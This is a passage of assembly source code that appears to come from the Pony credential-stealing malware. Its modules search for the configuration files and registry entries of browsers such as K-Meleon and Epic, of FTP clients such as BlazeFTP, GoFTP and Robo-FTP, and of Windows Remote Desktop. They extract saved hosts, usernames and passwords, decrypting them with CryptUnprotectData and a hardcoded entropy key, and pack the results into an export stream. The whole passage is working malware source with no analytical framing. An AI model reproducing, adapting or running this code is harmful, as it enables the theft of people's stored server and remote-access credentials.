not supported IFDEF COMPILE_MODULE_COMODODRAGON .data CComodoDragonAppDataDir db '\Comodo',0 .code GrabComodoDragon proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_COMODODRAGON, 0 mov hdr_ofs, eax invoke ChromeCommonScan, stream, offset CComodoDragonAppDataDir invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabComodoDragon endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; RockMelt ; http://www.rockmelt.com/ ; SFTP: not supported IFDEF COMPILE_MODULE_ROCKMELT .data CRockMeltAppDataDir db '\RockMelt',0 .code GrabRockMelt proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_ROCKMELT, 0 mov hdr_ofs, eax invoke ChromeCommonScan, stream, offset CRockMeltAppDataDir invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabRockMelt endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; K-Meleon ; http://kmeleon.sourceforge.net/ ; SFTP: not supported IFDEF COMPILE_MODULE_KMELEON .data CKMeleonInstValue db 'K-Meleon',0 CKMeleonAppDataDir db '\K-Meleon',0 CKMeleonProfilesDir db '\Profiles',0 .code KMeleonCommonScan proc stream, csidl, install_path invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, offset CKMeleonAppDataDir push eax invoke MozillaScanProfiles, stream, eax, install_path call MemFree .ENDIF ret KMeleonCommonScan endp GrabKMeleon proc uses edi stream LOCAL hdr_ofs: DWORD LOCAL install_path: DWORD invoke StreamWriteModuleHeader, stream, MODULE_KMELEON, 0 mov hdr_ofs, eax ; installed list mov edi, lpInstalledList .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CKMeleonInstValue .IF eax invoke ExtractFilePath, edi .IF eax mov install_path, eax invoke KMeleonCommonScan, stream, CSIDL_APPDATA, install_path invoke KMeleonCommonScan, stream, CSIDL_LOCAL_APPDATA, install_path invoke KMeleonCommonScan, stream, CSIDL_COMMON_APPDATA, install_path invoke PonyStrCat, install_path, offset CKMeleonProfilesDir .IF eax push eax invoke MozillaScanProfiles, stream, eax, install_path call MemFree .ENDIF invoke MemFree, install_path .ENDIF .ENDIF @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabKMeleon endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Epic ; http://www.epicbrowser.com/ ; SFTP: not supported IFDEF COMPILE_MODULE_EPIC .data CEpicInstValue db 'Epic',0 CEpicAppDataDir db '\Epic\Epic',0 .code EpicCommonScan proc stream, csidl, install_path invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, offset CEpicAppDataDir push eax invoke MozillaScanProfiles, stream, eax, install_path call MemFree .ENDIF ret EpicCommonScan endp GrabEpic proc uses edi stream LOCAL hdr_ofs: DWORD LOCAL install_path: DWORD invoke StreamWriteModuleHeader, stream, MODULE_EPIC, 0 mov hdr_ofs, eax ; installed list mov edi, lpInstalledList .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CEpicInstValue .IF eax invoke ExtractFilePath, edi .IF eax mov install_path, eax invoke EpicCommonScan, stream, CSIDL_APPDATA, install_path invoke EpicCommonScan, stream, CSIDL_LOCAL_APPDATA, install_path invoke EpicCommonScan, stream, CSIDL_COMMON_APPDATA, install_path invoke MemFree, install_path .ENDIF .ENDIF @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabEpic endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; StaffFTP ; http://www.gsa-online.de/products-staffftp.php ; Tested: v2.95 16.May.11 ; SFTP: not supported IFDEF COMPILE_MODULE_STAFF .data CStaffInstValue db 'Staff-FTP',0 CStaffAppDataDir db 'sites.ini',0 .code GrabStaff proc uses edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_STAFF, 0 mov hdr_ofs, eax ; installed list mov edi, lpInstalledList .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CStaffInstValue .IF eax invoke ExtractFilePath, edi .IF eax push eax invoke CommonFileScan, stream, eax, offset CStaffAppDataDir, ITEMHDR_ID or 0 call MemFree .ENDIF .ENDIF @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabStaff endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; AceFTP 3 ; http://software.visicommedia.com/en/products/aceftpfreeware/ ; Tested: version 3 (3.80.3) - 21.06.2007 ; SFTP: implemented IFDEF COMPILE_MODULE_ACEFTP .data CAceFTPAppDataDir1 db '\Sites',0 CAceFTPAppDataDir2 db '\Visicom Media',0 CAceFTPFile db '.ftp',0 CAceFTPSettingsStream db 'S',0,'e',0,'t',0,'t',0,'i',0,'n',0,'g',0,'s',0,0,0 .code AceFTP_ProcessFTPFile proc stream, szFilePath, item_id LOCAL wideFilePath: DWORD LOCAL wideFilePathLen: DWORD LOCAL stg, stm: DWORD LOCAL memptr: DWORD LOCAL len: DWORD .IF !MyStgOpenStorage ret .ENDIF invoke MultiByteToWideChar, CP_ACP, 0, szFilePath, -1, NULL, 0 mov wideFilePathLen, eax invoke MemAlloc, wideFilePathLen mov wideFilePath, eax invoke MultiByteToWideChar, CP_ACP, 0, szFilePath, -1, wideFilePath, wideFilePathLen lea eax, stg push eax push 0 push NULL push 12h push NULL push wideFilePath call MyStgOpenStorage test eax, eax .IF SUCCEEDED coinvoke stg, IStorage, OpenStream, offset CAceFTPSettingsStream, NULL, 12h, 0, addr stm test eax, eax .IF SUCCEEDED invoke StreamGetLength, stm mov len, eax .IF eax invoke MemAlloc, len mov memptr, eax invoke StreamGotoBegin, stm invoke StreamRead, stm, memptr, len .IF eax invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteBinaryString, stream, memptr, len .ENDIF invoke MemFree, memptr .ENDIF invoke StreamFree, stm .ENDIF coinvoke stg, IStorage, Release .ENDIF invoke MemFree, wideFilePath ret AceFTP_ProcessFTPFile endp AceFTP_CommonScan proc stream, csidl invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, offset CAceFTPAppDataDir1 push eax invoke CommonFileScanCallback, stream, eax, offset CAceFTPFile, ITEMHDR_ID or 0, offset AceFTP_ProcessFTPFile call MemFree .ENDIF invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, offset CAceFTPAppDataDir2 push eax invoke CommonFileScanCallback, stream, eax, offset CAceFTPFile, ITEMHDR_ID or 0, offset AceFTP_ProcessFTPFile call MemFree .ENDIF ret AceFTP_CommonScan endp GrabAceFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_ACEFTP, 0 mov hdr_ofs, eax invoke AceFTP_CommonScan, stream, CSIDL_APPDATA invoke AceFTP_CommonScan, stream, CSIDL_COMMON_APPDATA invoke AceFTP_CommonScan, stream, CSIDL_LOCAL_APPDATA invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabAceFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Global Downloader ; http://www.actysoft.com/ ; Tested: Version 1.7.3.4 ; Tested: Version 1.8.1.6 ; Tested: Version 1.8.1.8 ; SFTP: implemented IFDEF COMPILE_MODULE_GLOBALDOWNLOADER .data CGlobalDownloaderAppDataDir db '\Global Downloader',0 CGlobalDownloaderConfigFile db 'SM.arch',0 .code GlobalDownloader_CommonScan proc stream, csidl invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, offset CGlobalDownloaderAppDataDir push eax invoke CommonFileScan, stream, eax, offset CGlobalDownloaderConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF ret GlobalDownloader_CommonScan endp GrabGlobalDownloader proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_GLOBALDOWNLOADER, 0 mov hdr_ofs, eax invoke GlobalDownloader_CommonScan, stream, CSIDL_APPDATA invoke GlobalDownloader_CommonScan, stream, CSIDL_COMMON_APPDATA invoke GlobalDownloader_CommonScan, stream, CSIDL_LOCAL_APPDATA invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabGlobalDownloader endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FreshFTP ; http://www.freshwebmaster.com/freshftp.html ; Tested: version 5.43 ; Tested: version 5.47 ; Tested: version 5.51 ; SFTP: not supported IFDEF COMPILE_MODULE_FRESHFTP .data CFreshFTPInstallDir db 'FreshFTP',0 CFreshFTPConfigFile db '.SMF',0 .code GrabFreshFTP proc uses edi stream LOCAL hdr_ofs: DWORD LOCAL install_path: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FRESHFTP, 0 mov hdr_ofs, eax ; installed list mov edi, lpInstalledList .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CFreshFTPInstallDir .IF eax invoke ExtractFilePath, edi .IF eax mov install_path, eax invoke CommonFileScan, stream, install_path, offset CFreshFTPConfigFile, ITEMHDR_ID or 0 invoke MemFree, install_path .ENDIF .ENDIF @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFreshFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; BlazeFTP ; http://www.flashpeak.com/blazeftp/ ; Tested: version 2.1 ; Tested: version 2.2 ; SFTP: not supported IFDEF COMPILE_MODULE_BLAZEFTP .data CBlazeFTPInstallDir db 'BlazeFtp',0 CBlazeFTPConfigFile db 'site.dat',0 CBlazeFTPPasswordValue db 'LastPassword',0 CBlazeFTPHostValue db 'LastAddress',0 CBlazeFTPUserValue db 'LastUser',0 CBlazeFTPPortValue db 'LastPort',0 CBlazeFTPRegPath db 'Software\FlashPeak\BlazeFtp\Settings',0 CBlazeFTPAppDataDir db '\BlazeFtp',0 .code GrabBlazeFTP proc uses edi stream LOCAL hdr_ofs: DWORD LOCAL install_path: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL Port: DWORD LOCAL PortLen: DWORD invoke StreamWriteModuleHeader, stream, MODULE_BLAZEFTP, 0 mov hdr_ofs, eax ; Installed list mov edi, lpInstalledList .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CBlazeFTPInstallDir .IF eax invoke ExtractFilePath, edi .IF eax mov install_path, eax invoke CommonFileScan, stream, install_path, offset CBlazeFTPConfigFile, ITEMHDR_ID or 0 invoke MemFree, install_path .ENDIF .ENDIF @Next @n .ENDIF ; Application data paths invoke AppDataCommonFileScan, stream, offset CBlazeFTPAppDataDir, offset CBlazeFTPConfigFile, ITEMHDR_ID or 0 ; Quick connection invoke RegReadValueStr, dwCurrentUserKey, offset CBlazeFTPRegPath, offset CBlazeFTPPasswordValue, NULL mov Password, eax invoke RegReadValueStr, dwCurrentUserKey, offset CBlazeFTPRegPath, offset CBlazeFTPHostValue, NULL mov Host, eax invoke RegReadValueStr, dwCurrentUserKey, offset CBlazeFTPRegPath, offset CBlazeFTPUserValue, NULL mov User, eax invoke RegReadValueStr, dwCurrentUserKey, offset CBlazeFTPRegPath, offset CBlazeFTPPortValue, addr PortLen mov Port, eax .IF Host && User && Password ; Export data, type = 0001: Host | User | Pass | Port invoke StreamWriteDWORD, stream, ITEMHDR_ID or 1 invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteString, stream, Password invoke StreamWriteBinaryString, stream, Port, PortLen .ENDIF invoke MemFree, Password invoke MemFree, Host invoke MemFree, User invoke MemFree, Port invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabBlazeFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; NetFile ; http://www.fastream.com/netfile.php ; Tested: Version 6.0 ; SFTP: not supported IFDEF COMPILE_MODULE_NETFILE .data CNetFileConfigFile db '.fpl',0 CNetFileRegPath db 'FTP++.Link\shell\open\command',0 .code GrabNetFile proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_NETFILE, 0 mov hdr_ofs, eax invoke RegReadValueStr, HKEY_CLASSES_ROOT, offset CNetFileRegPath, NULL, NULL .IF eax invoke ExtractFilePath, eax .IF eax push eax invoke CommonFileScan, stream, eax, offset CNetFileConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabNetFile endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; GoFTP ; http://www.goftp.com/ ; Tested: v2.1.87 ; Tested: v2.2.2 ; SFTP: implemented IFDEF COMPILE_MODULE_GOFTP .data CGoFTPInstValue db 'GoFTP',0 CGoFTPConfigFile db 'Connections.txt',0 .code GrabGoFTP proc uses edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_GOFTP, 0 mov hdr_ofs, eax ; installed list mov edi, lpInstalledList .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CGoFTPInstValue .IF eax invoke ExtractFilePath, edi .IF eax push eax invoke CommonFileScan, stream, eax, offset CGoFTPConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF .ENDIF @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabGoFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; 3D-FTP ; http://www.3dftp.com/ ; Tested: version 6, 8, 9 ; SFTP: implemented IFDEF COMPILE_MODULE_3DFTP .data C3DFTPInstValue db '3D-FTP',0 C3DFTPConfigFile db 'sites.ini',0 C3DFTPAppDataDir1 db '\3D-FTP',0 C3DFTPAppDataDir2 db '\SiteDesigner',0 .code Grab3DFTP proc uses edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_3DFTP, 0 mov hdr_ofs, eax ; installed list mov edi, lpInstalledList .IF byte ptr[edi] @n: invoke StrStrI, edi, offset C3DFTPInstValue .IF eax invoke ExtractFilePath, edi .IF eax push eax invoke CommonFileScan, stream, eax, offset C3DFTPConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF .ENDIF @Next @n .ENDIF invoke SHGetFolderPathStr, CSIDL_COMMON_APPDATA .IF eax invoke PonyStrCatFreeArg1, eax, offset C3DFTPAppDataDir1 push eax invoke CommonFileScan, stream, eax, offset C3DFTPConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF invoke SHGetFolderPathStr, CSIDL_COMMON_APPDATA .IF eax invoke PonyStrCatFreeArg1, eax, offset C3DFTPAppDataDir2 push eax invoke CommonFileScan, stream, eax, offset C3DFTPConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret Grab3DFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; EasyFTP ; Tested: only one version was released ; SFTP: not supported IFDEF COMPILE_MODULE_EASYFTP .data CEasyFTPRegPath db 'SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32',0 CEasyFTPRegControlVal db 'EasyFTP',0 .code EasyFTP_ProcessFTPFile proc stream, szFilePath, item_id LOCAL FileMap: MappedFile invoke MapFile, szFilePath, addr FileMap .IF eax .IF FileMap.dwFileSize > 2 mov eax, FileMap.lpMem .IF word ptr[eax] == '",' invoke StreamWriteDWORD, stream, item_id invoke StreamWriteBinaryString, stream, FileMap.lpMem, FileMap.dwFileSize .ENDIF .ENDIF invoke UnmapFile, addr FileMap .ENDIF ret EasyFTP_ProcessFTPFile endp GrabEasyFTP proc stream LOCAL hdr_ofs: DWORD LOCAL easyftp_dir: DWORD invoke StreamWriteModuleHeader, stream, MODULE_EASYFTP, 0 mov hdr_ofs, eax invoke RegReadValueStr, HKEY_LOCAL_MACHINE, offset CEasyFTPRegPath, NULL, NULL .IF eax mov easyftp_dir, eax invoke StrStrI, easyftp_dir, offset CEasyFTPRegControlVal .IF eax invoke ExtractFilePath, easyftp_dir push eax invoke CommonFileScanCallback, stream, eax, NULL, ITEMHDR_ID or 0, offset EasyFTP_ProcessFTPFile call MemFree .ENDIF invoke MemFree, easyftp_dir .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabEasyFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; XFTP ; http://www.netsarang.com/forum/xftp/list ; Tested: Xftp 4 (Build 0077) ; Tested: Xftp 4 (Build 0083) ; SFTP: implemented IFDEF COMPILE_MODULE_XFTP .data CXftpAppDataDir db '\NetSarang',0 CXftpConfigFile db '.xfp',0 .code GrabXFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_XFTP, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CXftpAppDataDir, offset CXftpConfigFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabXFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; RDP (Windows Remote Desktop Connections) ; SFTP: not supported IFDEF COMPILE_MODULE_RDP .data CRdpFileExtension db '.rdp',0 CRdpCredStr db 'TERMSRV/*',0 CRdpPasswordStr db 'password 51:b:',0 CRdpUserStr db 'username:s:',0 CRdpHostStr db 'full address:s:',0 CRdpPoint db '.',0 CRdpTermSrv db 'TERMSRV/',0 .code WNetResolve proto :DWORD RDPWriteData proc stream, user, host, pass, dwPassLen LOCAL ip: DWORD LOCAL term_srv_len: DWORD invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, user invoke StreamWriteString, stream, host invoke StreamWriteBinaryString, stream, pass, dwPassLen ; Resolve hosts without fully qualified domain names invoke StrStrI, host, offset CRdpPoint .IF !eax invoke lstrlen, offset CRdpTermSrv mov term_srv_len, eax invoke StrStrI, host, offset CRdpTermSrv .IF eax add eax, term_srv_len mov host, eax .ENDIF invoke WNetResolve, host .IF eax != INADDR_NONE mov ip, eax invoke StreamWriteDWORD, stream, ITEMHDR_ID or 1 invoke StreamWriteString, stream, user invoke StreamWriteDWORD, stream, ip invoke StreamWriteBinaryString, stream, pass, dwPassLen .ENDIF .ENDIF ret RDPWriteData endp RDPScanCreds proc uses esi stream LOCAL pCred: DWORD LOCAL Count: DWORD .IF MyCredFree && MyCredEnumerate && MyCryptUnprotectData mov pCred, NULL mov Count, 0 lea eax, pCred push eax lea eax, Count push eax push 0 push offset CRdpCredStr call MyCredEnumerate .IF eax && Count && pCred mov esi, pCred .WHILE Count && dword ptr[esi] push esi mov esi, dword ptr[esi] invoke RDPWriteData, stream, [esi].CREDENTIAL.UserName, [esi].CREDENTIAL.TargetName, dword ptr[esi].CREDENTIAL.CredentialBlob, dword ptr[esi].CREDENTIAL.CredentialBlobSize pop esi dec Count add esi, 4 .ENDW push pCred call MyCredFree .ENDIF .ENDIF ret RDPScanCreds endp RDPExtract proc uses ebx szParamStr, lpMem, dwLen LOCAL len: DWORD LOCAL ansi_str: DWORD LOCAL result_str: DWORD mov ansi_str, NULL mov result_str, NULL ; calculate required buffer size for unicode->ansi convertation m2m len, dwLen shr len, 1 invoke WideCharToMultiByte, CP_ACP, 0, lpMem, len, NULL, NULL, NULL, NULL .IF eax push eax invoke MemAlloc, eax mov ansi_str, eax pop ecx ; unicode -> ansi invoke WideCharToMultiByte, CP_ACP, 0, lpMem, len, ansi_str, ecx, NULL, NULL .IF !eax invoke MemFree, ansi_str mov ansi_str, NULL .ENDIF .ENDIF .IF ansi_str invoke StrStrI, ansi_str, szParamStr .IF eax push eax invoke lstrlen, szParamStr pop ecx add eax, ecx mov ebx, eax .WHILE byte ptr[eax] .IF byte ptr[eax] == 13 mov byte ptr[eax], 0 invoke lstrlen, ebx .IF eax push eax invoke MemAlloc, eax mov result_str, eax pop ecx invoke MoveMem, ebx, result_str, ecx .ENDIF jmp @rdp_extract_ret .ENDIF inc eax .ENDW .ENDIF .ENDIF @rdp_extract_ret: invoke MemFree, ansi_str mov eax, result_str ret RDPExtract endp RDPProcessFile proc uses esi edi stream, FilePath, item_id LOCAL map: MappedFile LOCAL user: DWORD LOCAL pass: DWORD LOCAL host: DWORD LOCAL InBlob: DATA_BLOB LOCAL OutBlob: DATA_BLOB .IF !MyCryptUnprotectData ret .ENDIF invoke MapFile, FilePath, addr map .IF eax .IF map.dwFileSize < MEM_LIMIT invoke IsDataAlreadyProcessed, map.lpMem, map.dwFileSize .IF !eax invoke RDPExtract, offset CRdpUserStr, map.lpMem, map.dwFileSize mov user, eax invoke RDPExtract, offset CRdpPasswordStr, map.lpMem, map.dwFileSize mov pass, eax invoke RDPExtract, offset CRdpHostStr, map.lpMem, map.dwFileSize mov host, eax .IF user && pass && host invoke lstrlen, pass mov esi, pass mov edi, esi mov ecx, eax shr ecx, 1 push ecx .WHILE ecx lodsw .IF al >= '0' && al <= '9' sub al, '0' .ELSE sub al, 'A' add al, 10 .ENDIF .IF ah >= '0' && ah <= '9' sub ah, '0' .ELSE sub ah, 'A' add ah, 10 .ENDIF shl al, 4 or al, ah stosb dec ecx .ENDW pop ecx ; Decrypt password mov InBlob.cbData, ecx m2m InBlob.pbData, pass mov OutBlob.pbData, 0 lea eax, OutBlob push eax push CRYPTPROTECT_UI_FORBIDDEN push 0 push 0 push 0 push 0 lea eax, InBlob push eax call MyCryptUnprotectData .IF eax && OutBlob.pbData invoke RDPWriteData, stream, user, host, OutBlob.pbData, OutBlob.cbData invoke LocalFree, OutBlob.pbData .ENDIF .ENDIF invoke MemFree, user invoke MemFree, pass invoke MemFree, host .ENDIF .ENDIF invoke UnmapFile, addr map .ENDIF ret RDPProcessFile endp GrabRDP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_RDP, 0 mov hdr_ofs, eax invoke RDPScanCreds, stream invoke SHGetFolderPathStr, CSIDL_PERSONAL .IF eax push eax invoke CommonFileScanCallback, stream, eax, offset CRdpFileExtension, ITEMHDR_ID or 0, offset RDPProcessFile call MemFree .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabRDP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FTP Now ; http://www.network-client.com/ ; Tested: v2.6.93 ; SFTP: not supported IFDEF COMPILE_MODULE_FTPNOW .data CFTPNowInstValue1 db 'FTP Now',0 CFTPNowInstValue2 db 'FTPNow',0 CFTPNowConfigFile db 'sites.xml',0 .code GrabFTPNow proc uses edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FTPNOW, 0 mov hdr_ofs, eax ; scan installed list mov edi, lpInstalledList .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CFTPNowInstValue2 .IF eax jmp @process .ENDIF invoke StrStrI, edi, offset CFTPNowInstValue1 .IF eax @process: invoke ExtractFilePath, edi .IF eax push eax invoke CommonFileScan, stream, eax, offset CFTPNowConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF .ENDIF @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFTPNow endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Robo-FTP ; http://www.robo-ftp.com/ ; Tested: v3.7.9 ; SFTP: implemented IFDEF COMPILE_MODULE_ROBOFTP .data CRoboFTPScriptRegPath db 'SOFTWARE\Robo-FTP 3.7\Scripts',0 CRoboFTPConfigRegPath db 'SOFTWARE\Robo-FTP 3.7\FTPServers',0 CRoboFTPCountValue db 'FTP Count',0 CRoboFTPFileFmt db 'FTP File%d',0 CRoboFTPPasswordValue db 'Password',0 CRoboFTPServerValue db 'ServerName',0 CRoboFTPUserValue db 'UserID',0 CRoboFTPDirValue db 'InitialDirectory',0 CRoboFTPPortValue db 'PortNumber',0 CRoboFTPProtocolValue db 'ServerType',0 CRoboFTPEntropyBlob dd 16 dd offset CRoboFTPEntropyBlobData CRoboFTPEntropyBlobData db 06Ah, 065h, 091h, 07Dh, 081h, 047h, 04Ch, 02Fh, 0B6h, 0D9h, 007h, 0A0h, 0F8h, 0E5h, 0D3h, 066h .code RoboFTPScanReg proc stream, reg_key, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwPasswordLen: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Port: DWORD LOCAL Dir: DWORD LOCAL Password: DWORD LOCAL dwPortLen: DWORD LOCAl Protocol: DWORD invoke RegOpenKey, reg_key, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, reg_key, S, addr CRoboFTPPasswordValue, addr dwPasswordLen mov Password, eax invoke RegReadValueStr, reg_key, S, addr CRoboFTPServerValue, NULL mov Host, eax invoke RegReadValueStr, reg_key, S, addr CRoboFTPUserValue, NULL mov User, eax invoke RegReadValueStr, reg_key, S, addr CRoboFTPPortValue, addr dwPortLen .IF eax && dwPortLen == 4 m2m Port, dword ptr[eax] invoke MemFree, eax .ELSE .IF eax invoke MemFree, eax .ENDIF mov Port, 21 .ENDIF invoke RegReadValueStr, reg_key, S, addr CRoboFTPDirValue, NULL mov Dir, eax invoke RegReadValueStr, reg_key, S, addr CRoboFTPProtocolValue, NULL mov Protocol, eax .IF Password invoke CommonCryptUnprotectData, Password, addr dwPasswordLen, addr CRoboFTPEntropyBlob .IF eax && dwPasswordLen && User && Host ; export data, type = 0000: Host | User | Pass | Port | Dir ; export data, type = 0010: Host | User | Pass | Port | Dir | Protocol invoke StreamWriteDWORD, stream, ITEMHDR_ID or 10h invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteBinaryString, stream, Password, dwPasswordLen invoke StreamWriteDWORD, stream, Port invoke StreamWriteString, stream, Dir invoke StreamWriteString, stream, Protocol .ENDIF .ENDIF invoke MemFree, Password invoke MemFree, Host invoke MemFree, Dir invoke MemFree, User invoke MemFree, Protocol ; recursively scan sub-paths invoke RoboFTPScanReg, stream, reg_key, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret RoboFTPScanReg endp GrabRoboFiles proc stream, reg_key LOCAL ResLen: DWORD LOCAL nCount: DWORD LOCAL FileFormatBuffer[20]: BYTE invoke RegReadValueStr, reg_key, offset CRoboFTPScriptRegPath, offset CRoboFTPCountValue, addr ResLen .IF eax push eax .IF ResLen == 4 